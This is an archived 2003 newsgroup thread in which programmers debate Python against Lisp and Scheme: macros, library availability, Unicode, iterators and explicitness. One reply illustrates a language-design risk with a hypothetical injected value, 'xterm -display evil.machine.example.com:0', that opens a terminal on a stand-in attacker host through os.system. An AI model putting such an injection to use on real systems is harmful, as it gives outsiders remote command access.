Python syntax in Lisp and Scheme

[Doug Tolton]

Re: Python syntax in Lisp and Scheme

Andrew Dalke wrote:
[color=blue]
> Me:
>[color=green][color=darkred]
>>>Note that I did not at all make reference to macros. Your statements
>>>to date suggest that your answer to the first is "no."[/color][/color]
>
>
> Doug Tolton:
>[color=green]
>>That's not exactly my position, rather my position is that just about
>>anything can and will be abused in some way shape or fashion. It's a
>>simple fact of working in teams. However I would rather err on the side
>>of abstractability and re-usability than on the side of forced[/color]
>
> restrictions.
>
> You are correct. I misremembered "Tolton" as "Tilton" and confused
> you with someone else. *blush*[/color]

Heh, yeah I've noticed that a couple of times. Poor Kenny keeps getting
blamed for things I've said. D'oh![color=blue]
>
> My answer, btw, that the macro preprocessor in C is something
> which is useful and too easily prone to misuse. Eg, my original
> C book was "C for native speakers of Pascal" and included in
> the first section a set of macros like
>
> #define BEGIN {
> #define END }[/color]

I agree the C macro system is constantly abused. Then again, I haven't
ever been a really big fan of the C macro system, primarily because even
if it's used correctly it has always struck me as an ugly hack. I don't
think that's because it's overly expressive and powerful though, rather
I think it's because of it's limitations and foreign feeling syntax.[color=blue]
>
> It's not possible to get rid of cpp for C because the language
> is too weak, but it is something which takes hard experience to
> learn when not to use.
>
> As for a language feature which should never be used. Alex Martelli
> gave an example of changing the default definition for == between
> floats, which broke other packages, and my favorite is "OPTION
> BASE 1" in BASIC or its equivalent in Perl and other langauges.
> That is, on a per-program (or even per-module) basis, redefine
> the 0 point offset for an array.[/color]

Again, I can see setting corporate wide policies that specify if you
change the OPTION BASE, we are going to take you out behind the shed and
beat you silly. I don't think the existence of OPTION BASE is a
problem, personally I think it's when someone decides they want to
change the OPTION BASE to 0 while everyone else is still using 1. That
doesn't necessarily imply that OPTION BASE is by itself and evil construct.
--
Doug Tolton
(format t "~a@~a~a.~a " "dtolton" "ya" "hoo" "com")

[Doug Tolton]

Re: Python syntax in Lisp and Scheme

Andrew Dalke wrote:
[color=blue]
> Doug Tolton:
>[color=green]
>>I have this personal theory (used in the non-strict sense here) that
>>given enough time any homogenous group will split into at least two
>>competing factions.[/color]
>
>
> Reminds me of Olaf Stapledon's "First and Last Men"? His
> civilizations often had two roughtly equal but opposing components.[/color]
I haven't read it, I may have to check it out.[color=blue]
>
> Also reminds me of learning about the blue eyed/brown eyed
> experiment in my sociology class in high school. As it turns out,
> I was the only blue-eyed person in the class of 25 or so. :)[/color]
I'm not familiar with this experiment. What is it about, and what are
the results?[color=blue]
>
>[color=green]
>>Over time it seems to me that human
>>beings are incapable of remaining as one single cohesive group, rather
>>that they will always separate into several competing factions. Or at
>>the very least groups will splinter off the main group and form their
>>own group.[/color]
>
>
> Not necessarily "competing" , except in a very general sense. Is
> Australian English in competition with Canadian English?[/color]
I guess it comes more into play when there is some limited resource put
into play (eg Darwin), such as winning a prize, making money, number of
people using your system. I agree not everything is a direct
competition, but I bet if you started comparing Australian English to
Canadian English with both types of speakers, eventually serious
disagreement about some minute point would break out.[color=blue]
>
>[color=green]
>>However in the opensource world I expect splinters to happen frequently,
>>simply because there is little to no organizational control. Even
>>Python hasn't been immune to this phenomenon with both Jython and
>>Stackless emerging.[/color]
>
>
> As well as PyPy and (more esoterically) Vyper.
>
> Excepting the last, all have had the goal of supporting the C Python
> standard library where reasonably possible. When not possible
> (as the case with Jython and various C extensions), then supporting
> the native Java libraries.[/color]
I'm not saying they aren't good choices, or that they can even decide to
work together, rather that over time groups tend to diverge. Look at
Unix/Linux/FreeBsd as an example. I'm sure there are times when
divergent groups die out and re-enter the main branch as well.[color=blue]
>
>[color=green]
>>"bristly" ;)[/color]
>
>
> Ohh! Good word! I had forgotten about it.
>[/color]
I have to give the credit to David Mertz on that one. He used it in
correspondence with me, and I liked it a lot too.

--
Doug Tolton
(format t "~a@~a~a.~a " "dtolton" "ya" "hoo" "com")

[Edi Weitz]

Re: Python syntax in Lisp and Scheme

On 09 Oct 2003 16:25:22 -0400, j-anthony@rcn.com (Jon S. Anthony) wrote:
[color=blue]
> "Andrew Dalke" <adalke@mindspr ing.com> writes:
>[color=green]
> > Is there a free Lisp/Scheme implementation I can experiment with
> > which include in the distribution (without downloading extra
> > packages; a "moby" distribution in xemacs speak):
> > - unicode
> > - xml processing (to some structure which I can use XPath on)
> > - HTTP-1.1 (client and server)
> > - URI processing, including support for opening and reading from
> > http:, file:, and https:
> > - regular expressions on both 8-bit bytes and unicode
> > - XML-RPC
> > - calling "external" applications (like system and popen do for C)
> > - POP3 and mailbox processing[/color]
>
> Yes. Allegro CL (ACL) for one.
>[color=green]
> > As far as I can tell, there isn't. I'll need to mix and match
> > packages[/color]
>
> You obviously can't "tell" too well.[/color]

It is true that AllegroCL has all these features and it probably is
the only CL implementation that includes all of them out of the box
but it is not true that it is free (which was one of the things
Mr. Dalke asked for). At least it wasn't true the last time I talked
to the Franz guys some days ago. If that has changed in the last week
please let me know... :)

You might be able to get most of these features with "free" CL
implementations but not all at once I think. (AFAIK CLISP is currently
the only "free" CL which supports Unicode but it is lacking in some
other areas.)

As far as "mix and match" of packages is concerned: Use Debian
(testing) or Gentoo. I've been told it's just a matter of some
invocations of 'apt-get install' or 'emerge' to get the CL packages
you want. At least it shouldn't be harder than, say, getting stuff
from CPAN. What? You don't use Debian or Gentoo? Hey, you said you
wanted "free" stuff - you get what you pay for.

No, seriously. It'd definitely be better (for us Lispers) if we had
more freely available libraries plus a standardized installation
procedure à la CPAN. Currently we don't have that - there are
obviously far more people working on Perl or Python libraries.

So, here are your choices:

1. Buy a commercial Lisp. I've done that and I think it was a good
decision.

2. Try to improve the situation of the free CL implementations by
writing libraries or helping with the infrastructure. That's how
this "Open Source" thingy is supposed to work. I'm also doing this.

3. Run around complaining that you can't use Lisp because a certain
combination of features is not available for free. We have far too
many of these guys on c.l.l.

4. Just don't use it. That's fine with me.

It currently looks like the number of people choosing #2 is
increasing. Looks promising. You are invited to take part - it's a
great language and a nice little community... :)

Edi.

PS: You might also want to look at

<http://web.metacircles .com/cirCLe+CD>.

[Andrew Dalke]

Re: Python syntax in Lisp and Scheme

Kenny Tilton:[color=blue]
> I wouldn't take the Greenspun crack too seriously. That's about
> applications recreating Lisp, not languages copying Lisp features.[/color]

Are you stating that all references of Greenspun's 10th rule,
when applied to Python, are meant in jest? Many of the times
I've seen it used has come from a sense of arrogance; justified
or not. The similar statement which bristles me the most is at the
top of biolisp.org, especially given how paltry the existing public
libraries are for doing bioinformatics in Lisp -- even compared
to Ruby.
[color=blue]
> It's
> just a reaction to Python (a perfectly nice little scripting language)
> trying to morph into a language with the sophistication of Lisp.[/color]

Python isn't doing that. It's lives in a perfectly good niche wherein
Lisp is not the most appropriate language. At least not until there's a
macro which works like

(#python '
for i in range(100):
print "Spam, ",
print
)
[color=blue]
> As for non-professional programmers, the next question is whether a good
> language for them will ever be anything more than a language for them.
> Perhaps Python should just stay with the subset of capabalities that
> made it a huge success--it might not be able to scale to new
> sophistication without destroying the base simplicity.[/color]

But there's no reason to stay with only one language. For those things
which are more appropriate in a different language (eg, adding a new
minimizer to an existing FORTRAN library, or writing an interface
to an existing C llibrary, or doing predicate based logic in Prolog)
then use that other language

I'm perfectly satisfied with claiming that Python is a great language
for scientific programming and that it is a less than perfect language
for doing aspect oriented programming.
[color=blue]
> Another question is whether Lisp would really be such a bad program for
> them.[/color]

I am also perfectly satisfied with claiming that Lisp is not the best
language for the people I work with.
[color=blue]
> You presume that only Lisp gurus can learn Lisp because of the syntax.[/color]

Not at all. What I said is that Lisp gurus are self-selected to be
the ones who don't find the syntax to be a problem. You incorrectly
assumed the converse to be true.
[color=blue]
> But methinks a number of folks using Emacs Elisp and Autocad's embedded
> Lisp are non-professionals.[/color]

Methinks there are a great many more people using the VBA
interface to AutoCAD than its Lisp interface. In fact, my friends
(ex-Autodesk) told me that's the case.
[color=blue]
> And let's not forget Symbolic Composer
> (music composition) or Mirai (?) the 3D modelling/animation tool, both
> of which are authored at the highest level with Lisp.[/color]

As compared to csound (music synthesis) which is written in C?
Or Gnumeric with Python embedded?

Do you want me to truck out a similar list of programs with
Python embedded? And that would prove ... what exactly?
[color=blue]
> Logo (a language aimed at children, including very young children) cuts
> both ways: it's a Lisp, but it dumped a lot of the parens, but then
> again it relies more on recursion.[/color]

Okay, and then there's Alice, from www.alice.org , which
"addresses the specific needs of the subpopulation of middle
school girls" and aims to "provide the best possible first exposure
to programming for students ranging from middle schoolers
to college students."

What does it mean to be "a Lisp"? Is Python considered "a Lisp"
for some definitions of Lisp? If Greenspun's 10th law has any merit
whatsover then Python must surely be an "implementa tion of half
of Common Lisp."
[color=blue]
> You (Alex?) also worry about groups of programmers and whether what is
> good for the gurus will be good for the lesser lights.[/color]

If you ever hear me call anyone who is not an expert programmer
a "lesser light" then I give you -- or anyone else here -- permission
to smack me cross-side the head. The people I work for, who use
the software I write, are PhD-level chemists and biologists, who
are developing new drugs, who helped sequence the human genome,
and some of who may in a decade or two receive the Nobel prize
for their efforts. These are not "lesser lights."

I never, ever, EVER made that claim and you are sticking words
in my mouth. You consistently and incorrectly restate others'
claims into an obviously wrong-headed viewpoint that all it does
is highlight your own false assumptions and arrogance.

Andrew
dalke@dalkescie ntific.com

[Erann Gat]

Re: Python syntax in Lisp and Scheme

In article <yShhb.255119$R 32.8279501@news 2.tin.it>, Alex Martelli
<aleax@aleax.it > wrote:
[color=blue]
> If you do use the
> potential implied in that example from Gat, to do things that functions and
> classes just couldn't _begin_ to, it's worse -- then you're really
> designing your own private divergent language (which most posters from
> the Lisp camp appear to assert is an unalloyed good, although admittedly
> far from all).[/color]

[This may be a duplicate posting -- I wrote a response to this earlier but
it seems to have vanished into the cosmic void.]

FWIW, I do not believe that "designing your own private divergent language
.... is an unalloyed good." I do, however, believe that having the
*ability* to quickly and easily design your own private language is a Good
Thing. In practice, most "private languages" built using macros are
supersets of Lisp, so this limits the extent to which divergence matters
in practice.

(My original post went on with a rant about how risk aversion was an
impediment to progress, but I think I'll take the disappearance of my
original post as a Sign From God and just leave it at that this time
around.)

E.

[Kenny Tilton]

Re: Python syntax in Lisp and Scheme



Paul Rubin wrote:
[color=blue]
> Kenny Tilton <ktilton@nyc.rr .com> writes:
>[color=green]
>>I think Python's problem is its success. Whenever something is
>>succesful, the first thing people want is more features. Hell, that is
>>how you know it is a success. The BDFL still talks about simplicity,
>>but that is history. GvR, IMHO, should chased wish-listers away with
>>"use Lisp" and kept his gem small and simple.[/color]
>
>
> That's silly. Something being successful means people want to use it
> to get things done in the real world. At that point they start
> needing the tools that other languages provide for dealing with the
> real world. The real world is not a small and simple place, and small
> simple systems are not always enough to cope with it. If GVR had kept
> his gem small and simple, it would have remained an academic toy, and
> I think he had wide-reaching ambitions than that.[/color]

I agree with everything you said except that last bit, and I only
disagree with that because of what I have heard from Pythonistas, so
maybe I missed something. I did not think Python (or GVR or both) had
aspirations of being a full-blown language vs just being a powerful
scripting language.

Do they ever plan to do a compiler for it?

--

http://tilton-technology.com

What?! You are a newbie and you haven't answered my:

http://alu.cliki.net/The%20Road%20to%20Lisp%20Survey

[Andrew Dalke]

Re: Python syntax in Lisp and Scheme

Pascal Costanza:[color=blue]
> Here [are some studies on using Scheme to teach programming]:
> http://home.adelphi.edu/sbloch/class/hs/testimonials/[/color]

Actually, those are testimonials, not studies. For real studies,
look at some of the Smalltalk and especially Papert's work with
Logo.

The problem with testimonials is they are submitted by the people
who liked the language. Eg, you don't see testimonials for a diet
loss plan which go "I used this plan and I gained 30 pounds in
only two weeks -- I loved it!"

One of my house mates in grad school learned Scheme at CMU
and related how much he didn't like the language. You don't see
his testimonial on this site because he didn't dislike it intensely
enough to write an essay and convince some pro-Scheme site
to host it.

Andrew
dalke@dalkescie ntific.com

[james anderson]

Re: Python syntax in Lisp and Scheme



Andrew Dalke wrote:[color=blue]
>
> ...
>
> Python does it by ignoring the respective os APIs,[/color]

oh.
[color=blue]
> if I understand
> your meaning and Python's implementation correctly. Here's some
> more information about Unicode in Python
>
> http://www.python.org/peps/pep-0100.html
> http://www.python.org/peps/pep-0261.html
> http://www.python.org/peps/pep-0277.html
>[/color]

pep-0261 was to the point. facit: if you build your python for 4-byte
characters you get the full range of scalar values (ie characters) as first
class objects. if you build your python for 2-byte characters you have to
model all scalar values outside of the basic plane as two disjoint code values.

it's analogous to wide/narrow characters in acl, and i recall there being an
open-source lisp which supported 4-byte builds. each catering to their users.
as the saying goes, everybody cooks with water.

i'd be curious to hear:

was pep-0261 adopted?

has there been any data collected on how many installations are built in the
respective modes. for users in the 4-byte mode, has there been any data on
storage efficiency? on general string-related algorithm performance?

do python programmers really not care about using things like os-native
international type support? [0]

[color=blue]
> ...
>
>
> I fully understand that it isn't part of the standard, but it would be
> useful if there was a consensus that "packages X, Y, and Z will
> always be included in our distributions."[/color]

that may be a market issue. vendors supply what their clients pay for. they
have an interest in product differentiation . open-source developers develop
what they need. they have an interest that their implmentation serves their
needs. there is some overlap, but evidently the market does not compel the
order of consolidation which you envision.

....

[0] http://developer.apple.com/intl/atsui.html

[Jon S. Anthony]

Re: Python syntax in Lisp and Scheme

"Andrew Dalke" <adalke@mindspr ing.com> writes:
[color=blue]
> Jon S. Anthony:[color=green]
> > This thing has been debunked for years. No one with a clue takes it
> > seriously. Even the author(s) indicate that much of it is based on
> > subjective guesses.[/color]
>
> Do you have a reference? And a pointer to something better?[/color]

Even nothing is better than misinformation.
[color=blue]
> 2 of 6 is better than random, so Jones' work can't be
> complete bunkum.[/color]

2 of 6 is worse than flipping a coin.

/Jon

[Brian Downing]

Re: Python syntax in Lisp and Scheme

In article <a6ihb.4361$dn6 .3517@newsread4 .news.pas.earth link.net>,
Andrew Dalke <adalke@mindspr ing.com> wrote:[color=blue]
> Huh? I'm talking purely in the interface. Use ASCII '[' and ']' in the
> Lisp code and display it locally as something with more "directionality ".
> I'm not suggesting the unicode character be used in the Lisp code.
> Take advantages of advances in font display to overcome limitations
> in ASCII.[/color]

How is this amount of complexity possibly better then just making the
[ ] keys output ( ) in the editor - something that works TODAY?

-bcd
--
*** Brian Downing <bdowning at lavos dot net>

[Alex Martelli]

Re: Code block literals

Dave Benjamin wrote:
...[color=blue][color=green][color=darkred]
>>> for line in file('input.txt '):
>>> do_something_wi th(line)[/color]
>>
>> I don't see that there's anything "implicit" in the concept that a
>> special operation works as indicated by its syntax. I.e., I do not[/color][/color]
...[color=blue]
> What's implicit to me is that the use of an iterator is never specified.[/color]

It could be, but it would be redundant, because the for-in syntax
_always_ uses iterators -- so,
for x in y:
and
for x in iter(y):
and
for x in iter(iter(y)):
and so on, ad nauseam, are all equivalent. All except the first form
are also redundant.
[color=blue]
> For instance, we could (and I'm *not* suggesting this) do this:
>
> iterator = file('input.txt ')[/color]

You forgot to call iter (which the for loop does), so, depending
on whether a file object HAS-AN iterator (as in 2.2) or IS-AN
iterator, you could be out of luck -- e.g.:

[alex@lancelot src23x]$ python2.2
Python 2.2.2 (#1, Oct 24 2002, 11:43:01)
...[color=blue][color=green][color=darkred]
>>> f=file('/tmp/ba')
>>> print f.next()[/color][/color][/color]
Traceback (most recent call last):
File "<stdin>", line 1, in ?
AttributeError: 'file' object has no attribute 'next'[color=blue][color=green][color=darkred]
>>>[/color][/color][/color]

(in 2.3, you'd be lucky;-).
[color=blue]
> while iterator.has_ne xt():
> line = iterator.next()
> do_something_wi th(line)[/color]

That wouldn't be the definition of the for loop (and in general it
would be hellish to make it work -- that "predictive " has_next might
be a real bear to implement, with sane semantics, on certain
iterators which "consume" data and can't put it back).

However, you COULD write something like:

iterator = iter(file('/tmp/ba'))
while 1:
try: line = iterator.next()
except StopIteration: break
else: do_something_wi th(line)

i.e., expand the definition of "for line in..." into the constructs it's
defined in terms of -- same results with different goofy syntax.

But such expansion wouldn't be any more "explicit" than USING the
definition!!! Any more than, say, x*5 is "less explicit" than x+x+x+x+x --
once multiplication is DEFINED in terms of repeated addition, it can
perfectly well be used, and be just as explicit as writing out the
repeated addition itself would be.

I don't think it's possible to make any halfway-sensible case that
USING a language's constructs directly is "less explicit" than goofily
spelling them out in terms of other constructs they may be defined
as equivalent to.

[color=blue][color=green]
>> other forms of suites, e.g. hypothetically:
>>
>> with <object>:
>> <suite>
>>
>> meaning to call the object (or some given method[s] in it, whatever)
>> with the suite as its argument, it would be just as explicit as, e.g.:[/color][/color]
...[color=blue]
> This would be an interesting alternative, but it's back to being a special
> case, like Ruby has. I think it'd be more flexible as a literal that
> returns a callable.[/color]

Yes, by being a statement it would be less general than having it as an
expression would be -- an expression can be used anywhere a statement
can be used, but not viceversa. What I'm uncertain about is whether
there IS a *good* syntax for a Python expression that can embody arbitrary
statements -- I'm not really enthusiastic about any proposal I've seen,
including mine own.

[color=blue][color=green][color=darkred]
>>> This is not to say that I dislike that behavior; in fact, I find it
>>> *beneficial* that the manner of looping is *implicit* because you can
>>> substitute a generator for a sequence without changing the usage. But[/color]
>>
>> You could do so even if you HAD to say iter(<object>) instead of
>> just <object> after every "for <name> in" -- it wouldn't be any
>> more "explicit", just more verbose (redundant, boiler-platey). So
>> I do not agree with your motivation for liking "for x in y:" either;-).[/color]
>
> Well, let's just say I've been on the Java side of the fence for a little
> while, and it has redefined my personal definition of explicit. One of the
> reasons Python code is so much smaller than Java code is that a lot of
> things are implicit that are required to be explicit in Java. I see this
> as a good thing.[/color]

I think you're using 'explicit' as a synonym for 'redundant', then. But
it's not useful nor sensible usage, and insisting on it would be very
humpty-dumptyish. It's not that in Python "a lot of things are implicit":
rather, the constructs are defined to _explicitly_ map to typical usage,
often (not invariably, but close) without boilerplate and redundance.

[color=blue][color=green][color=darkred]
>>> there's little readability difference, IMHO, between that and:
>>>
>>> file('input.txt ').each_line({ |line|
>>> do_something_wi th(line)
>>> })[/color]
>>
>> Not huge, but the abundance of ({ | &c here hurts a little bit.[/color]
>
> Well, we all __pick__ our __poisons__...[/color]

Sure, Ruby's "def add" is more readable than Python's "def __add__" --
we weren't discussing that, though, nor making general comparisons
about the two languages, but rather talking about the readability of
*iterator usage* in the two languages.

[color=blue][color=green]
>> if you could not call file directly but rather than do say, e.g.:
>>
>> file.open_for_r eading_only('fo o.txt').write(' wot?')[/color]
>
> Nah, I'm not arguing for redundancy at all. I'm saying that there is some
> voodoo going on here. When the *constructor* for a file object behaves
> like a generator that loops over newline-delimited lines of a text field,[/color]

The constructor constructs the object -- no more, no less. The *object* is
an iterator (in 2.3; in 2.2 it HAS one instead), so of course you can
iterate on it -- no voodoo whatsoever.
[color=blue]
> doesn't that seem like it's been specialized for a particular domain in an
> unobvious way? Why lines? Why not bytes, words, unicode characters? I[/color]

Usage frequency: looping on lines is by far the use case that dominates in
frequency (no formal statistics, but a rare consensus of many experienced
users on python-dev at the time).
[color=blue]
> mean, it's more convenient for people that do a lot of text processing,
> but I don't see anything specific to text or lines in the phrase
> "file('foo.txt' )". That's all I'm saying.[/color]

There is nothing (except the accidental 'txt' substring) that directly
mention text, nor lines, bytes, words, etc; why, if you used the 'open'
synonym of 'file', there would be nothing mentioning files either. But
then, there is nothing in the character '+' that even remotely suggests
addition -- except habit. Do you therefore think that using '+' to denote
addition is *not explicit*? Since '+' is DEFINED to perform addition,
by a convention that is quite familiar to most users, I'd disagree. And
similarly for looping on a file object -- as there is one dominant use case,
it was deemed important enough to rapidly become familiar to most
users, and thereby eschew the "in the face of ambiguity, resist the
temptation to guess" principle's application.

Actually I was caught out that way while helping out on help@python.org
today -- a user was asking why "for line in afile.readlines ():
md5.update(line )" was eating up all of his memory on processing a huge
binary file, and I made the facile suggestion of moving to "for line in
afile:" -- fortunately Danny caught me out (the good thing of having
several volunteers on the helpline -- not quite as good as c.l.py that
way, but still) and pointed out that the binary file MIGHT lack even a
single '\n' byte in its huge body, after all, so there was no _safety_ in
this approach (easily fixed with a generator, once spotted). So, maybe I
shouldn't feel so tranquil that the "face of ambiguity" was *correctly*
handled. But note it's most emphatically NOT about implicit or explicit:
the user originally had a PERFECTLY explicit readlines call -- just a
wrong one (which I mentally translated to just omit the .readlines() part,
which was my mistake). It's about ambiguity and the temptation to
guess -- files don't provide methods to loop by ANYTHING BUT lines,
and that partly reflects the fact that other loops are easier to write as
generators, but also partly a "guess" (in the face of ambiguity...) that
a typical file is read as text, not as binary (for writing, the writelines
method has excellent semantics for consuming a finite iterator -- it's
just badly misnamed, leaving the misleading impression that it has
anything to do with lines... so much for 'explicitness' I guess...:-).

[color=blue][color=green][color=darkred]
>>> - types of variables[/color]
>>
>> There are none, so how could such a nonexisting thing be EITHER implicit
>> OR explicit? Variables don't HAVE types -- OBJECTS do.[/color]
>
> The very fact that variables to not have types, and following that, that
> variables do not have manifest types, is an example of implicit being
> chosen over explicit. I know your argument, and I understand that Python
> variables are Post-It sticky notes and all of that, but please, just try
> to look at it from a non-Python-centric perspective. Other languages (like[/color]

Ok, as long as you let me choose Ruby as the non-Python in question.
Once I've done that, I see no difference: still sticky notes without
manifest per-variable types;-).

"x=5" is just as explicit as "int x=5", because the type of the object is
manifest. The difference is not between implicit and explicit: it's
about attaching a type at all to that name 'x' or not.
[color=blue]
> C++, which I hear you are vaguely familiar with ;) require you to be
> explicit about what type of thing you're defining and sending where.[/color]

Yes, and in that it's distinguished from e.g. Haskell, which also has
typed-names but allows you to NOT explicitly (or redundantly rather)
state them out and let it do inference instead. Now THAT kind of
distinction is about explicitness or redundance. Deeming that a name
has NO type is quite different. I know of no programming language
that requires nor allows you to state the color of your cat's hair (except
in comments and the like): it's not a matter of your cat's color being
left "implicit", it's rather that those languages don't HAVE the concept
of a cat, its hair, and the hair's color. Just think of variables as cats,
rather than sticky notes, and the issue may get clearer.

[color=blue][color=green]
>> Etc, etc -- can't spend another 1000 lines to explain why your "lots of
>> things" do not indicate violations of "explicit is better than implicit".[/color]
>
> They're not *violations*. Correct me if I'm wrong, but the Zen of Python
> is not the LAW! It's a poem! It's very beautiful, very concise, inspiring,
> and thoughtful, but it's not the 10 commandments! I just get very tired of[/color]

It's a set of principles humorously and perceptively expressed, of course.
[color=blue]
> every idea getting shot down because of some rule from Tim Peters. I
> really don't think he intended for it to be used to prove the validity of
> ideas.[/color]

No doubt some people quote it routinely, but, when e.g. I do, it's just
because it's often a very concise, expressive and clear way to express
what I could alternatively take a few hours to laboriously set down in
excruciating detail (of course, I can and do perform BOTH too:-).
Those principles that are NOT all that common in other programming
languages are particularly valuable because they express Python's
community consensus where it most needs to be expressed.

[color=blue]
> The implicit/explicit thing is one of the most abused, in my opinion,
> because it can quite frankly be used to shut down any attempt at creating
> abstraction. In fact, for that reason alone, I'm tempted to say "Implicit
> is better than explicit". Say what you want, not how you want it. Be
> abstract, not concrete.[/color]

....but please do so in other languages than Python; there are several
excellent ones for the purpose (Ruby isn't really one -- many of its
"implicitne ss" factors are in fact legacy holdovers -- for example, I've
often seen the optional omission of parentheses in method calls deemed iffy
by experienced Rubytes, even more for the implicit $_, etc, etc). Python
is quite concrete and pragmatical, as is Ruby, at their cores. I think
functional languages encourage and nudge you to work at very high
levels of abstraction, very VERY far from the machine, in ways that no
language with modifiable data truly does. If "be abstract, not concrete"
is really the motto you want to live by, I think Erlang or Haskell or ML
might make you much happier than Python or Ruby would.

Most of us actually work better on a more concrete level, I believe --
and that is why, for me (and 'us':-) languages with the concreteness
(and explicitness) of Perl and Ruby are more productive (though the
mind-expanding experience of studying FP is a great visit, I'm not sure
I'd want to live there).

But note that this about actual abstraction, and has nothing to do
with implicit vs explicit. If you think that a language's rules and
definitions -- just like, say, the definition of multiplication -- "are
implicit", or using them _makes_ your programs "implicit", then I think
your individual and idiosyncratic definition of words can make discourse
with you simply impossible.

[color=blue][color=green][color=darkred]
>>> This is nothing like APL... if anything, it's like Smalltalk, a language
>>> designed to be readable by children![/color]
>>
>> Cite pls? I knew that Logo and ABC had been specifically designed
>> with children in mind, but didn't know that of Smalltalk.[/color]
>
> http://ei.cs.vt.edu/~history/GASCH.KAY.HTML
> http://www.cosc.canterbury.ac.nz/~wo...malltalk1.html
> http://www.cs.washington.edu/homes/dugan/history.html[/color]

Thanks! Quite instructive.

[color=blue]
> Well, it was a rough analogy, and I've never done any APL myself, but
> here's my justification, FWIW:
>
> - APL provides syntactical constructs for high-level array processing[/color]

Yep, a huge array of weird symbols for the purpose (operators infix
or prefix, w/o priority differences among the set of infix ones).
[color=blue]
> - List comprehensions do this also[/color]

Not really: just an expression to create a list (array), with deliberate
use of keywords (vs Haskell's symbols for the same role). This is
like saying that, e.g., range(5) is like APL's <iota>5... no, it's even
"farther fetched" IMHO.
[color=blue]
> - Code blocks have nothing inherently to do with array processing[/color]

Neither do many of APL's many symbols, e.g. left-pointing arrow
for assignment, right-pointing for goto (only control flow statement being
a computed goto), etc.

[color=blue]
> But I agree that neither resemble APL as I've seen. I guess it's like
> saying a carrot is more like APL than a rutabega.[/color]

It does seem to be on a similar plane of "similitude ", yes.


Alex

[Jon S. Anthony]

Re: Python syntax in Lisp and Scheme

Edi Weitz <edi@agharta.de > writes:
[color=blue]
> but it is not true that it is free (which was one of the things
> Mr. Dalke asked for). At least it wasn't true the last time I talked[/color]

You are right. My mistake.

/Jon

[Andrew Dalke]

Re: Code block literals

Dave Benjamin:[color=blue]
> What's implicit to me is that the use of an iterator is never specified.[/color]

It is by the definition of what the for loop does.
[color=blue]
> For instance, we could (and I'm *not* suggesting this) do this:
>
> iterator = file('input.txt ')
> while iterator.has_ne xt():
> line = iterator.next()
> do_something_wi th(line)[/color]

Good thing you aren't, since has_next might be impossible to
implement. ;)
[color=blue][color=green]
> > If Python's syntax defined
> > other forms of suites, e.g. hypothetically:
> >
> > with <object>:
> > <suite>
> >
> > meaning to call the object (or some given method[s] in it, whatever)
> > with the suite as its argument, it would be just as explicit as, e.g.:
> >
> > for <name> in <object>:
> > <suite>[/color][/color]

A reasonable point. However, inside the 'with' statement it's hard
to know if

print x

comes from the object or from the static scoping, and it may
be that 99.99% of the time it's from static scoping, only to find
after deployment that there's code like

logger = "echo got it >> file.log"

....
def parse_server_re quest(self, infile, outfile):
obj = parse_XML_into_ some_pythonic_d ata_structure(i nfile)
with obj:
outfile.write(" Content-Type: text/plain\n\n")
outfile.write(" Hi, " + username + "\n")
os.system(logge r)

which lets malicious user input pass in XML with the content
<logger>xterm -display evil.machine.ex ample.com:0</logger>
that ends up being passed to the system call.

I've been on this thread too long so I won't answer anything from the rest
of your response. :(

Andrew
dalke@dalkescie ntific.com

[Daniel Silva]

Re: Python syntax in Lisp and Scheme

On Thu, 9 Oct 2003, Andrew Dalke wrote:[color=blue]
> Python [...] lives in a perfectly good niche wherein
> Lisp is not the most appropriate language. At least not until there's a
> macro which works like
>
> (#python '
> for i in range(100):
> print "Spam, ",
> print
> )[/color]

There is! http://spyweb.hopto.org

:D

- Daniel

[Alex Martelli]

Re: Python syntax in Lisp and Scheme

Rainer Deyke wrote:
[color=blue]
> Pascal Costanza wrote:[color=green]
>> Pick the one Common Lisp implementation that provides the stuff you
>> need. If no Common Lisp implementation provides all the stuff you
>> need, write your own libraries or pick a different language. It's as
>> simple as that.[/color]
>
> Coming from a C/C++ background, I'm surprised by this attitude. Is
> portability of code across different language implementations not a
> priority for LISP programmers?[/color]

Libraries distributed as binaries are not portable across different C++
implementations on the same machine (as a rule). If we're talking
about sources, I don't see why strict ANSI Lisp library source code should
be any less portable than strict ISO C++ library source code. Even
different C++ implementations often come with additional vendor
specific libraries (e.g., on Windows, MFC and ATL for MS, ...) -- you
don't HAVE to use them, though the vendor's tools encourage you
to (to hook you in).

Personally, the only thing I find alien in Pascal's recommendation is
a glaring lack -- no mention of the possibility of downloading and
reusing open-source libraries from the net, just getting them as a
part of the implementation or else rolling your own. Now _that_ is
something I find weird, and cannot explain.


Alex